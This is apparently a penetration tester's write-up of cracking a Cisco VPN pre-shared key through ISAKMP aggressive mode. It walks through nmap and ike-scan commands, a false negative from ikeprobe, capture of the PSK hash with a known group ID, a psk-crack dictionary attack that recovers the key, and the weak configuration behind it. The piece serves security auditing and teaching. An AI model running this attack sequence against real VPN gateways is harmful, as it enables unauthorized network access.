During a VPN testing project we looked a bit deeper into the security vulnerability caused by ISAKMP aggressive mode. To put things simple, the important fact for us is that assuming pre-shared key authentication and possession of a valid userid makes it possible to obtain the valid encrypted PSK. During the tests I used Cisco network equipment and the Cisco VPN Configuration Guide. First I discovered the open ISAKMP VPN port on the target system:
Initiating Service scan at 11:11 Scanning 1 service on 192.168.2.5 Completed Service scan at 11:13, 82.57s elapsed (1 service on 1 host) NSE: Script scanning 192.168.2.5. Initiating NSE at 11:13 Completed NSE at 11:13, 30.08s elapsed Nmap scan report for 192.168.2.5 Host is up (0.0035s latency). PORT STATE SERVICE VERSION 500/udp open isakmp? Read data files from: /usr/local/bin/../share/nmap Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 113.26 seconds Raw packets sent: 5 (372B) | Rcvd: 2 (272B)
I created a short script to collect the cryptographic settings of the connection:
root@s2crew:~/bin# ./ike-crypt-transforms.sh 192.168.2.5 Ending ike-scan 1.9: 1 hosts scanned in 0.041 seconds (24.11 hosts/sec). 1 returned handshake; 0 returned notify Supported: 5,2,1,2 Ending ike-scan 1.9: 1 hosts scanned in 0.041 seconds (24.37 hosts/sec). 1 returned handshake; 0 returned notify Supported: 5,2,65001,2
The settings supported by the CISCO device can be seen below:
Encryption algorithms:: Triple-DES Hash algorithms:: MD5 Authentication methods: Pre-Shared Key/Hybrid Mode and XAUTH Diffie-Hellman groups: 2
I used the ikeprobe.exe application to detect whether the service was vulnerable. The result of the tests showed the target environment was not vulnerable:
root@s2crew:~/bin# wine ikeprobe.exe 192.168.2.5 IKEProbe 0.1beta (c) 2003 Michael Thumann (www.ernw.de) Portions Copyright (c) 2003 Cipherica Labs (www.cipherica.com) Read license-cipherica.txt for LibIKE License Information IKE Aggressive Mode PSK Vulnerability Scanner (Bugtraq ID 7423) Supported Attributes Ciphers : DES, 3DES, AES-128, CAST Hashes : MD5, SHA1 Diffie Hellman Groups: DH Groups 1,2 and 5 IKE Proposal for Peer: 192.168.2.5 Aggressive Mode activated ... . . . Attribute Settings: Cipher CAST Hash MD5 Diffie Hellman Group 5 8.251 3: ph1_initiated(00443ee0, 00449178) 8.283 3: << ph1 (00443ee0, 340) System not vulnerable, Attribute mismatch or not authorized Peer.
The above statement was not true. Fortunately I knew a valid ID for the VPN connection that helped me to perform the attack:
root@s2crew:~/bin# ike-scan -A --trans=5,2,1,2 --id=vpnclient -Ppsk.txt 192.168.2.5 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 192.168.2.5 Aggressive Mode Handshake returned HDR=(CKY-R=576568d95df504bb) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) VID=a2a2cfc45df404bbeb2e7a5d49fd39fd VID=09002689dfd6b712 (XAUTH) KeyExchange(128 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.2.5) Nonce(20 bytes) Hash(20 bytes) Ending ike-scan 1.9: 1 hosts scanned in 0.047 seconds (21.07 hosts/sec). 1 returned handshake; 0 returned notify
I performed a dictionary attack against the PSK hash:
root@s2crew:~/bin# psk-crack -d /root/depth4.dic psk.txt Starting psk-crack [ike-scan 1.9] (http://www.nta-monitor.com/tools/ike-scan/) Running in dictionary cracking mode key "cisco123" matches SHA1 hash 07746c280f597b19b274499f771d0589ad26fce8 Ending psk-crack: 280320 iterations in 1.730 seconds (161992.45 iterations/sec)
Below is the part of the VPN configuration that made the device vulnerable:
crypto isakmp policy 3 encr 3des authentication pre-share group 2 ! crypto isakmp client configuration group vpnclient key cisco123 dns 10.10.10.10 wins 10.10.10.20 domain silentsignal.eu pool ippool acl 101 ! ! crypto ipsec transform-set myset esp-3des esp-md5-hmac !
When we perform a security audit, we have to take the power and limits of the tools used for testing into account. A good tester never trusts the result of any security testing tool blindly, and understands the issue under investigation.